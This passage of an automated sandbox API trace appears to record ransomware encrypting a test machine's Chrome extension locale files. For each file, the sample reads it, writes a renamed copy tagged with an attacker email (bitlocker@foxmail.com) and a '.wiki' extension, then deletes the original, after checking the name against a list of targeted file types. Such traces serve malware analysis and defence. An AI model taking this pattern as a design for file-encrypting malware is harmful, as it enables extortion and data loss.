lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.550] GetLastError () returned 0x0 [0175.550] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x84, lpOverlapped=0x0) returned 1 [0175.551] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x90, lpOverlapped=0x0) returned 1 [0175.552] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.552] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.552] SetEndOfFile (hFile=0x1ac) returned 1 [0175.552] CloseHandle (hObject=0x1ac) returned 1 [0175.552] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.552] SetEndOfFile (hFile=0x2dc) returned 1 [0175.553] CloseHandle (hObject=0x2dc) returned 1 [0175.553] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.553] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json")) returned 1 [0175.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.554] lstrlenW (lpString=".doc") returned 4 [0175.554] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.554] lstrlenW (lpString=".docx") returned 5 [0175.554] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.554] lstrlenW (lpString=".pdf") returned 4 [0175.554] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.554] lstrlenW (lpString=".xls") returned 4 [0175.554] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.554] lstrlenW (lpString=".xlsx") returned 5 [0175.554] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.554] lstrlenW (lpString=".ppt") returned 4 [0175.554] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.554] lstrlenW (lpString=".zip") returned 4 [0175.554] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.554] lstrlenW (lpString=".rar") returned 4 [0175.554] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.554] lstrlenW (lpString=".bz2") returned 4 [0175.554] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.554] lstrlenW (lpString=".7z") returned 3 [0175.554] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.554] lstrlenW (lpString=".dbf") returned 4 [0175.554] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.554] lstrlenW (lpString=".1cd") returned 4 [0175.554] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.554] lstrlenW (lpString=".jpg") returned 4 [0175.554] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.555] lstrlenW (lpString=".doc") returned 4 [0175.555] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.555] lstrlenW (lpString=".docx") returned 5 [0175.555] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.555] lstrlenW (lpString=".pdf") returned 4 [0175.555] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.555] lstrlenW (lpString=".xls") returned 4 [0175.555] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.555] lstrlenW (lpString=".xlsx") returned 5 [0175.555] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.555] lstrlenW (lpString=".ppt") returned 4 [0175.555] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.555] lstrlenW (lpString=".zip") returned 4 [0175.555] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.555] lstrlenW (lpString=".rar") returned 4 [0175.555] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.555] lstrlenW (lpString=".bz2") returned 4 [0175.555] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.555] lstrlenW (lpString=".7z") returned 3 [0175.555] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.555] lstrlenW (lpString=".dbf") returned 4 [0175.555] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.555] lstrlenW (lpString=".1cd") returned 4 [0175.555] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 151 [0175.556] lstrlenW (lpString=".jpg") returned 4 [0175.556] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.556] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.556] lstrlenW (lpString="messages.json") returned 13 [0175.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.558] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=259) returned 1 [0175.558] CloseHandle (hObject=0x2dc) returned 1 [0175.558] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json")) returned 0x2020 [0175.558] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.559] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.559] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.559] GetLastError () returned 0x0 [0175.559] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x103, lpOverlapped=0x0) returned 1 [0175.560] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0175.561] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.561] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.561] SetEndOfFile (hFile=0x1ac) returned 1 [0175.561] CloseHandle (hObject=0x1ac) returned 1 [0175.561] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.561] SetEndOfFile (hFile=0x2dc) returned 1 [0175.562] CloseHandle (hObject=0x2dc) returned 1 [0175.562] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.562] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json")) returned 1 [0175.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.563] lstrlenW (lpString=".doc") returned 4 [0175.563] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.563] lstrlenW (lpString=".docx") returned 5 [0175.563] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.563] lstrlenW (lpString=".pdf") returned 4 [0175.563] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.563] lstrlenW (lpString=".xls") returned 4 [0175.563] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.563] lstrlenW (lpString=".xlsx") returned 5 [0175.563] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.563] lstrlenW (lpString=".ppt") returned 4 [0175.563] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.563] lstrlenW (lpString=".zip") returned 4 [0175.563] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.563] lstrlenW (lpString=".rar") returned 4 [0175.563] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.563] lstrlenW (lpString=".bz2") returned 4 [0175.563] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.563] lstrlenW (lpString=".7z") returned 3 [0175.563] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.563] lstrlenW (lpString=".dbf") returned 4 [0175.563] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.563] lstrlenW (lpString=".1cd") returned 4 [0175.563] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.564] lstrlenW (lpString=".jpg") returned 4 [0175.564] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.564] lstrlenW (lpString=".doc") returned 4 [0175.564] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.564] lstrlenW (lpString=".docx") returned 5 [0175.564] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.564] lstrlenW (lpString=".pdf") returned 4 [0175.564] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.564] lstrlenW (lpString=".xls") returned 4 [0175.564] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.564] lstrlenW (lpString=".xlsx") returned 5 [0175.564] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.564] lstrlenW (lpString=".ppt") returned 4 [0175.564] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.564] lstrlenW (lpString=".zip") returned 4 [0175.564] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.564] lstrlenW (lpString=".rar") returned 4 [0175.564] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.564] lstrlenW (lpString=".bz2") returned 4 [0175.564] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.564] lstrlenW (lpString=".7z") returned 3 [0175.564] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.564] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.564] lstrlenW (lpString=".dbf") returned 4 [0175.564] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.565] lstrlenW (lpString=".1cd") returned 4 [0175.565] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.565] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 151 [0175.565] lstrlenW (lpString=".jpg") returned 4 [0175.565] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.565] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.565] lstrlenW (lpString="messages.json") returned 13 [0175.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.565] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=237) returned 1 [0175.565] CloseHandle (hObject=0x2dc) returned 1 [0175.565] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json")) returned 0x2020 [0175.565] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.566] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.566] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.566] GetLastError () returned 0x0 [0175.566] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xed, lpOverlapped=0x0) returned 1 [0175.567] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.568] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.568] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.569] SetEndOfFile (hFile=0x1ac) returned 1 [0175.569] CloseHandle (hObject=0x1ac) returned 1 [0175.569] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.569] SetEndOfFile (hFile=0x2dc) returned 1 [0175.569] CloseHandle (hObject=0x2dc) returned 1 [0175.570] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.570] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json")) returned 1 [0175.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.570] lstrlenW (lpString=".doc") returned 4 [0175.570] lstrcmpiW 